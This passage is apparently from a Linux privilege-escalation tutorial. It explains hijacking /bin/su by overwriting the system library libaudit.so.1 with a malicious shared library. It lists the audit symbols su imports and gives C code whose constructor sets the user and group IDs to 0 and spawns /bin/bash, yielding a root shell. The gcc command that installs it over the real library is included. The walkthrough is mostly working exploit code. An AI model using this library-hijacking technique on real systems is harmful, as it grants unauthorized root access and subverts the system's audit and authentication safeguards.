In this case lets try to impersonate /lib/x86_64-linux-gnu/libaudit.so.1.
So, check for functions of this library used by the su binary:
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
0000000000000000 DF *UND* 0000000000000000 audit_log_user_message
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
The symbols audit_open, audit_log_acct_message, audit_log_acct_message and audit_fd are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c
int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;
void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
Now, just calling /bin/su you will obtain a shell as root.